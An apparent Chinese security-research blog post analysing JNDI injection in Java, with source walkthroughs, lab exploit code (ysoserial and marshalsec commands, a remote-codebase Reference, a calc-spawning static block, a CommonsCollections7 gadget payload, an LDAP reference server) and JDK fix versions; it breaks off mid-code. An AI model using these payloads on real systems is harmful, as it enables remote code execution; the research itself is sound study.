睡不着觉…于是打算学习一下JNDI注入的攻击方式来缓解熬夜的焦虑心情…

JNDI是什么

JNDI(Java name directory interface),个人认为JNDI和RMI一样,都只是屏蔽了与通信的细节,让开发者只需要关注功能的实现。只是JNDI的用途比RMI更广泛以下,JNDI里包括了RMI(个人理解)。

我们会在哪些场景下使用到JNDI

JNDI一般用来获取对象,无论是远程对象还是本地对象,他都可以获取到。

通过名称来查找对象这种方法让我的日常工作变得极为便利,应用服务器则怨声载道,毕竟这是一件费心费力的事情, 但是为了占领市场,他们也不得不这么做。 我暗地里把这种工作方式叫Java Naming Service (Java 命名服务)

JNDI提供两类服务:命名服务和目录服务,其中命名服务让开发者可以通过名称获取对象,而目录服务算是一种特殊的命名服务,他不但需要提供名称,还需要提供属性。

我认为JNDI的命名服务就像是RMI的Registry,通过对应的名称,我们就可以获取到远程的代理对象,再通过代理对象对远程方法进行调用、访问。

Demo

下面是通过JNDI获取远程对象的Demo,同样的,JNDI也包含了客户端与服务端和注册中心。

Client

Hello

1
2
3
4
5
6
7
8
package Client;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
public String sayhello(String name) throws RemoteException;
}

JNDI_Client

1
2
3
4
5
6
7
8
9
10
11
12
13
package Client;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class JNDI_Client {
public static void main(String[] args) throws NamingException, RemoteException {
InitialContext ctx = new InitialContext();
Hello hello = (Hello)ctx.lookup("rmi://localhost:8080/helloimpl");
System.out.println(hello.sayhello("test"));
}
}

Server

HelloImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package Server;

import Client.Hello;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class HelloImpl extends UnicastRemoteObject implements Hello {
protected HelloImpl() throws RemoteException {
}

public String sayhello(String name) throws RemoteException {
return "[Hello "+ name + "]";
}


}

Server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package Server;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.util.Properties;
import java.util.concurrent.CountDownLatch;

public class JNDI_Server {
public static void main(String[] args) throws RemoteException, NamingException, InterruptedException {
LocateRegistry.createRegistry(8080);

HelloImpl hello = new HelloImpl();
Properties properties = new Properties();
properties.setProperty(Context.INITIAL_CONTEXT_FACTORY , "com.sun.jndi.rmi.registry.RegistryContextFactory");
properties.setProperty(Context.PROVIDER_URL,"rmi://localhost:8080/");
InitialContext ctx = new InitialContext(properties);
ctx.bind("helloimpl",hello);
System.out.println("服务端创建完毕,等待调用");
CountDownLatch latch=new CountDownLatch(1);
latch.await();
}
}

先运行JNDI_Server,将对象绑定,并指定rmi服务端的访问地址以及在JNDI中使用的RMI工厂类。之后再运行Client,即可看到返回结果:

image-20200624003320139
image-20200624003320139

打开wireshark抓包,确认存在序列化数据:

image-20200624003542534
image-20200624003542534

还是那个问题,有序列化,就必然会存在反序列化,我们只需要知道反序列化的点,就可以进行攻击,JNDI的通讯方式我认为与RMI大相径庭,先是创建一个初始化的上下文,我认为这相当于RMI中的注册中心,之后通过lookup获取对应的对象,此时获取到的是远程代理对象。这里也有Stub和Skel的概念,与RMI的相同,不再进行解释。

源码分析

Server绑定远程对象

Server源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package Server;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.util.Properties;
import java.util.concurrent.CountDownLatch;

public class JNDI_Server {
public static void main(String[] args) throws RemoteException, NamingException, InterruptedException {
LocateRegistry.createRegistry(8080);

HelloImpl hello = new HelloImpl();
Properties properties = new Properties();
properties.setProperty(Context.INITIAL_CONTEXT_FACTORY , "com.sun.jndi.rmi.registry.RegistryContextFactory");
properties.setProperty(Context.PROVIDER_URL,"rmi://localhost:8080/");
InitialContext ctx = new InitialContext(properties);
ctx.bind("helloimpl",hello);
System.out.println("服务端创建完毕,等待调用");
CountDownLatch latch=new CountDownLatch(1);
latch.await();
}
}

在Server中,首先需要创建一个注册中心以及对应接口的实现对象,之后需要进行初始化的设置,这里设置了工厂类以及当本地的RMI注册中心地址,接下来通过InitialContext创建一个初始化上下文,并将对象绑定到上下文中。RMI的部分已经分析过了,主要分析JNDI特有的部分。

初始化上下文:javax.naming.InitialContext

1
2
3
4
5
6
7
8
public InitialContext(Hashtable<?,?> environment)
throws NamingException
{
if (environment != null) {
environment = (Hashtable)environment.clone();
}
init(environment);
}

这里会先判断environment是否为空,如果不为空则会创建一个副本,不对原来的Hashtable进行操作,之后会进入到javax.naming.InitialContext#init方法中:

1
2
3
4
5
6
7
8
9
10
11
protected void init(Hashtable<?,?> environment)
throws NamingException
{
myProps = (Hashtable<Object,Object>)
ResourceManager.getInitialEnvironment(environment);

if (myProps.get(Context.INITIAL_CONTEXT_FACTORY) != null) {
// user has specified initial context factory; try to get it
getDefaultInitCtx();
}
}

com.sun.naming.internal#ResourceManager主要是对JNDI的常量进行初始化赋值以及将从其它地方定义的propertie合并:

image-20200624004743778
image-20200624004743778

由于我们设置了自定义的工厂类为com.sun.jndi.rmi.registry.RegistryContextFactory,所以此时会调用getDefaultInitCtx方法获取初始化的上下文:

image-20200624005234625
image-20200624005234625

在初始化上下文这里,只是初始化了一些配置,并没有发生过网络请求,接着回到Server源码,来看看bind是如何调用的。

javax.naming.InitialContext#bind

1
2
3
public void bind(String name, Object obj) throws NamingException {
getURLOrDefaultInitCtx(name).bind(name, obj);
}

getURLorDefaultInitCtx用来获取初始化的工厂类上下文,并调用其bind方法,这里因为我们之前设置了用的是RMI工厂类,所以会获取到com.sun.jndi.rmi.registry.RegistryContext,此时会调用他的bind方法:

1
2
3
public void bind(String var1, Object var2) throws NamingException {
this.bind((Name)(new CompositeName(var1)), var2);
}

var1是我们bind的名称,var2则为远程对象,这里会先通过CompositeName创建一个Name对象,并将这个Name对象作为名称注册到JNDI上下文中。

1
2
3
public CompositeName(String n) throws InvalidNameException {
impl = new NameImpl(null, n); // null means use default syntax
}

接着跟RegistryContext#bind:

image-20200624005920742
image-20200624005920742

这里传了两个参数,一个是NameImpl对象,一个是HelloImpl对象,名称不能为空,否则会跑出异常,这里的this.registry实际上是RegistryImpl_Stub对象,和之前用RMI远程获取注册中心时的对象是一样的。

不过和RMI不一样的是,这里传入远程对象并非我们Server端直接传入的远程对象,而是会经过一层encodeObject后返回给我们的对象。

1
2
3
4
5
6
7
8
9
10
11
12
private Remote encodeObject(Object var1, Name var2) throws NamingException, RemoteException {
var1 = NamingManager.getStateToBind(var1, var2, this, this.environment);
if (var1 instanceof Remote) {
return (Remote)var1;
} else if (var1 instanceof Reference) {
return new ReferenceWrapper((Reference)var1);
} else if (var1 instanceof Referenceable) {
return new ReferenceWrapper(((Referenceable)var1).getReference());
} else {
throw new IllegalArgumentException("RegistryContext: object to bind must be Remote, Reference, or Referenceable");
}
}

这里的异常提示的很明显,我们只能绑定三种类型的对象:

1.Remote
2.Reference
3.Referenceable

先跟一下javax.naming.spi.NamingManager#getStateTobind:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static Object
getStateToBind(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws NamingException
{

FactoryEnumeration factories = ResourceManager.getFactories(
Context.STATE_FACTORIES, environment, nameCtx);

if (factories == null) {
return obj;
}

// Try each factory until one succeeds
StateFactory factory;
Object answer = null;
while (answer == null && factories.hasMore()) {
factory = (StateFactory)factories.next();
answer = factory.getStateToBind(obj, name, nameCtx, environment);
}

return (answer != null) ? answer : obj;
}

这里传入了四个参数,obj为我们传入的远程对象,name为刚刚创建的Name对象,namectx为RegistryContext对象,environment即我们设置的properties:

image-20200624010854290
image-20200624010854290

第一行不知道获取了什么东西,后边判断factories为null就直接将obj返回,所以这里将我们传入的对象原封不动的还给我们了。

接着就是后边远程调用Registry-bind的正常流程,在RMI那篇中我有写,这里就不重复写了。

Client获取远程对象的代理对象

1
2
InitialContext ctx = new InitialContext();
Hello hello = (Hello)ctx.lookup("rmi://localhost:8080/helloimpl");

第一行创建了上下文对象,之后调用lookup获取远程对象,跟一下lookup的源码:

1
2
3
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}

getURLorDefaultInitctx:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected Context getURLOrDefaultInitCtx(String name)
throws NamingException {
if (NamingManager.hasInitialContextFactoryBuilder()) {
return getDefaultInitCtx();
}
String scheme = getURLScheme(name);
if (scheme != null) {
Context ctx = NamingManager.getURLContext(scheme, myProps);
if (ctx != null) {
return ctx;
}
}
return getDefaultInitCtx();
}

客户端这里会根据你传入的name获取正确的上下文,比如传了个rmi://xxx,就会获取到rmi的ctx,ldap则获取到ldap的ctx,以此类推。

获取到ctx后会调用ctx的lookup方法,由于我获取的是rmi的ctx,所以最终调用的方法是com.sun.jndi.toolkit.url.genericURLContext#lookup:

1
2
3
4
5
6
7
8
9
10
11
12
13
public Object lookup(String var1) throws NamingException {
ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);
Context var3 = (Context)var2.getResolvedObj();

Object var4;
try {
var4 = var3.lookup(var2.getRemainingName());
} finally {
var3.close();
}

return var4;
}

getRootURLContext会解析我们传来的命名,比如解析host、port、要调用的Stub等,最终返回如下:

image-20200624011914670
image-20200624011914670

getResolveObj会获取到ResolveResult对象中的resolveObj,接着调用其lookup方法,传入一个Name对象类型的参数,这个参数值是我们要获取的远程对象在注册中心中所注册的名称,在这里是helloimpl。

在RegistryContext#lookup中,实际上正是RMI中客户端调用lookup方法的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}

return this.decodeObject(var2, var1.getPrefix(1));
}
}

this.registry为RegistryImpl_Stub,后边就是客户端与注册中心通信的内容了,稍微有点不同的是最后会调用decodeObject,这里与前面bind时调的encodeObject是对应上的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
Reference var8 = null;
if (var3 instanceof Reference) {
var8 = (Reference)var3;
} else if (var3 instanceof Referenceable) {
var8 = ((Referenceable)((Referenceable)var3)).getReference();
}

if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
} else {
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
}
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}

无非就是判断返回的远程对象是否属于RemoteReference,如果是的话,则调用其getReference方法,这里我们在bind时传的只是一个简单的远程对象,所以不会调用,所以这里的var3 == var1。

最终会调用到NamingManager#getobjInstance方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{

ObjectFactory factory;

// Use builder if installed
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}

// Use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}

Object answer;

if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively

factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;

} else {
// if reference has no factory, check for addresses
// containing URLs

answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}

// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}

一样的…由于我们传的只是一个简单的远程对象,所以会直接到createObjectFromFactories,在这里由于返回的answer为null,所以会把Proxy对象直接返回…

传回来的Proxy对象实际也和RMI中获取到的Proxy对象所差无几:

image-20200624013011391
image-20200624013011391

JNDI攻击方式

这部分主要写JNDI在获取RMI注册中心的远程对象时的攻击方式。

lookup with gadget

因为JNDI在正常调用lookup的时候,最后还是用RMI的方式获取远程对象,那么我们就能通过创建恶意JRMPListener来返回恶意序列化数据让客户端反序列化,此时即可触发漏洞,当然这需要客户端存在对应的gadget。

首先本地先起一个JRMPListener:

1
java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 12345  CommonsCollections1 'calc'

之后客户端尝试lookup:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package Client;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.io.IOException;
import java.rmi.RemoteException;

public class JNDI_Client {
public static void main(String[] args) throws NamingException, IOException {
// String[] cmd = new String[3];
// cmd[0] = "cmd.exe" ;
// cmd[1] = "/C" ;
// cmd[2] = "calc";
// Runtime.getRuntime().exec("calc");
InitialContext ctx = new InitialContext();
Hello hello = (Hello)ctx.lookup("rmi://localhost:12345/helloimpl");
System.out.println(hello.sayhello("test"));
}
}

此时即可反序列化,触发后续的cc链:

image-20200624020310500
image-20200624020310500

这里发现了一个很奇怪的点,在macos的环境下,最终传入的command是正常的,所以可以正常执行:

image-20200624020044648
image-20200624020044648

而在windows环境下,最终传入的command会带一个单引号,导致没法正常执行命令:

image-20200624020422238
image-20200624020422238

这里我暂且把这当成一个玄学问题,并没有去研究具体原因…等以后有空了一定去研究一下。

JNDI with RMI

前面在分析lookup流程时写了,会有一个对Reference类的特殊处理,这里我把服务端bind的对象换为恶意Reference对象,再重新lookup一次跟一下调用流程。先写一下利用代码吧。

Server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package Server;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;
import java.util.concurrent.CountDownLatch;

public class JNDI_Server {
public static void main(String[] args) throws RemoteException, NamingException, InterruptedException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(8080);

Reference refObj = new Reference("refClassName", "insClassName", "http://127.0.0.1:12345/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
// registry.bind("refObj", refObjWrapper);
// InitialContext ctx = new InitialContext();
registry.bind("helloimpl",refObjWrapper);
System.out.println("服务端创建完毕,等待调用");
CountDownLatch latch=new CountDownLatch(1);
latch.await();
}
}

Client

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package Client;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.io.IOException;
import java.rmi.RemoteException;

public class JNDI_Client {
public static void main(String[] args) throws NamingException, IOException {
InitialContext ctx = new InitialContext();
Hello hello = (Hello)ctx.lookup("rmi://localhost:8080/helloimpl");
System.out.println(hello.sayhello("test"));
}
}

当hello去获取远程对象时,发现获取到的是一个ReferenceWrapper,便会去我们先前指定好的url,也就是Reference的第三个参数去找类,先运行Server,再运行Client,python起一个http server,看结果:

image-20200624031520322
image-20200624031520322

这里会尝试去加载insClassName.class,加载时会执行这个类静态代码块中的代码,如果我们添加恶意代码进去,便会触发RCE。

insClassName.java:

1
2
3
4
5
6
7
8
9
public class insClassName {
static{
try{
Runtime.getRuntime().exec("calc");
}catch(Exception e){
;
}
}
}

当我们尝试加载他时,就会触发静态代码块中的恶意代码,导致RCE:

image-20200624031853872
image-20200624031853872

调用栈分析

重点关注到之前说的com.sun.jndi.rmi.registry.RegistryContext#decodeObject,因为对ReferenceWrapper对象相关的处理也是在这里边写好的:

image-20200624032427293
image-20200624032427293
image-20200624032543135
image-20200624032543135

此时会先判断远程代理对象是否继承了RemoteReference接口,如果继承了,则会调用com.sun.jndi.rmi.registry.RegistryContext#getReference:

1
2
3
4
5
6
7
8
9
10
11
12
13
public Reference getReference() throws RemoteException, NamingException {
try {
Object var1 = super.ref.invoke(this, $method_getReference_0, (Object[])null, 3529874867989176284L);
return (Reference)var1;
} catch (RuntimeException var2) {
throw var2;
} catch (RemoteException var3) {
throw var3;
} catch (NamingException var4) {
throw var4;
} catch (Exception var5) {
throw new UnexpectedException("undeclared checked exception", var5);
}

在这里会调用super.ref.invoke方法,这里的ref方法实际上对应着之前rmi中说过的UnicastRef,这里实际上是在通过代理对象的方式来调用ReferenceWrapper对象的getReference方法,最终获取到的是我们前面设置好的refObj。

image-20200624033044379
image-20200624033044379

获取到Reference对象后,会判断该对象是否实现了Reference的接口或者Referenceable的接口,在这里会转为Reference对象,因为我们封装的是Reference对象。

接着会进到Reference.getFactoryClassLocation方法中:

image-20200624033302783
image-20200624033302783

在这里会把我们预先设定好的地址返回,由于当前版本的trustURLCodebase默认为true,所以会进到else代码块中:

image-20200624033951427
image-20200624033951427

跟入NamingManager#getObjectInstance,只看重点代码:

1
2
3
4
5
6
7
8
9
10
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively

factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}

这里的getFactoryClassName获取到的是我们设置好的insClassName,接着会进入getObjectFactoryFromReference:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;

// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.

// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

这里首先会尝试用loadclass从本地的classpath中加载这个类,如果不存在的话,则通过codebase的方式进行远程加载,由于这个类在本地的classpath中不存在,所以我们只需要关注codebase部分即可。

image-20200624034405442
image-20200624034405442

在这里会通过loadClass中codebase的方式去加载类,而这里的codebase并不是客户端指定的,而是从我们远程创建的Reference对象中取出来的,地址为http://127.0.0.1:12345/

跟入com.sun.naming.internal.VersionHelper#loadClass:

1
2
3
4
5
6
7
8
9
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {

ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);

return loadClass(className, cl);
}

这里首先创建了一个URLClassloader对象,并通过他来加载我们预先设置好的远程类地址,loadClass里会用Class.forName去进行加载。到这里已经真相大白了,漏洞的实现就是通过加载远程对象,因为是用的Class.forName,所以在加载时会调用其static代码块中的代码,我们只需要在里边写我们的恶意代码即可完成执行。

这种攻击方式的好处就是不需要利用任何第三方依赖,只需要原生JDK即可完成,坏处就是需要出网。

修复方式

JDK的修复方式就是将trustURLCodebase默认值设置为false,此时我们则无法通过下面这行代码的检查,即无法进入到加载环节中:

1
var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase

在这里如果trustURLCodebase为false,则会直接抛出异常:

image-20200624035332833
image-20200624035332833

就像👇这样:

image-20200624035505650
image-20200624035505650

具体修复版本号:

  1. JDK 5U45、6U45、7u21、8u121 开始 java.rmi.server.useCodebaseOnly 默认配置为true
  2. JDK 6u132、7u122、8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false
  3. JDK 11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase 默认为false

源:攻击Java中的JNDI、RMI、LDAP(二)

JNDI with LDAP

调用栈分析

LDAP协议同样是可以用ReferenceWrapper对象进行包装的,所以实际上是和RMI差不多的流程,不过代码量要比RMI的复杂的多…

先写利用方式,本地起一个LDAP Server:

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#insClassName 1099

接着python起一个http server,监听端口是8000,编译一个insClassName.class丢上去,之后执行Client,修改代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package Client;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.io.IOException;
import java.rmi.RemoteException;
import java.util.Properties;

public class JNDI_Client {
public static void main(String[] args) throws NamingException, IOException {
Properties env = new Properties();
InitialContext ctx = new InitialContext();
ctx.lookup("ldap://localhost:1099/helloimpl");
// System.out.println(hello.sayhello("test"));
}
}

运行Client,可以看到本地起的LDAP Server已经收到请求了:

image-20200624050945226
image-20200624050945226

此时python起的http server也会收到请求:

image-20200624051022717
image-20200624051022717

这是在远程加载我们的class,此时会触发static代码块中的方法,从而导致RCE:

image-20200624051232699
image-20200624051232699

注意,这个helloimpl不是固定的,随便写几个字符串都可以,但是/后边必须要包含内容,整个RCE的调用栈如下:

image-20200624051721886
image-20200624051721886

前面的和rmi差不多一样,只需要关注LdapCtx#decodeObject即可:

image-20200624051903314
image-20200624051903314

这里传入的参数是一个Attributes对象,里边包含了Reference的内容,这里的decodeObject实际和RMI是一样的,作用为还原Reference对象。

接着会进到DirectoryManager.getObjectInstance中:

image-20200624061501751
image-20200624061501751

在这里就与RMI的步骤完全相同了,不再继续描述。

修复方式

网上看到很多人说修复点是trustURLCodebase,然而并没有人说这个点在哪用到了…我稍微跟了一下,发现是在loadClass这块用的:

image-20200624061045005
image-20200624061045005

调用栈:

image-20200624060950265
image-20200624060950265

这里的trustURLCodebase,实际上是com.sun.jndi.ldap.object.trustURLCodebase的值,在某些版本中,该值默认被设为false,此时则不会进入到loadClass中,而是直接返回null。

与可利用版本中代码进行对比:

image-20200624061141125
image-20200624061141125

从这里就可以很轻松的看出来JDK是如何处理的了。

具体修复版本如下:

Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被调整为false。

源:JNDI with LDAP

Bypass trustURLCodebase

JNDI with LDAP-deserializeObject

回到刚才的decodeObject,我们知道,这个地方是用来还原Reference对象的:

image-20200624062224558
image-20200624062224558

这里有一个很明显的反序列化点:deserialzeObject

image-20200624062313902
image-20200624062313902

在这个方法中,会对我们传入的var0调用readObject方法,如果var0可控,那么此处也同样可以利用。如果用marshalsec起的LDAP Server默认是不会走到这的,所以我们得自己实现一个Server,具体实现方式可以参考marshalsec中的代码:

image-20200624062534475
image-20200624062534475

这里我直接剽了marshalsec中的代码,稍微改改就好了。

cc7.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package Server;

import com.sun.xml.internal.ws.encoding.soap.SerializationException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import java.io.*;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7 {
public static void main(String[] args){

}
public static byte[] generate_payload()throws Exception{
// Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{"calc"};

final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Field iTransformers = transformerChain.getClass().getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);

// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
BufferedOutputStream bos = new BufferedOutputStream(baos);

ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hashtable);
oos.close();
return baos.toByteArray();

// ByteArrayOutputStream baos = new ByteArrayOutputStream();
// BufferedOutputStream bos = new BufferedOutputStream(baos);
// ObjectOutputStream oos = new ObjectOutputStream(bos);
// oos.writeObject(hashtable);
// oos.close();
// baos.toByteArray();

}
}

JNDI_Server.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
package Server;/* MIT License

Copyright (c) 2017 Moritz Bechler

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Arrays;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;


/**
* LDAP server implementation returning JNDI references
*
* @author mbechler
*
*/
public class JNDI_Server {

private static final String LDAP_BASE = "dc=example,dc=com";


public static void main ( String[] args ) {
int port = 1389;
try {
new cc1().generate_payload();
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://127.0.0.1:8000/#insClassName")));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;


/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}


/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
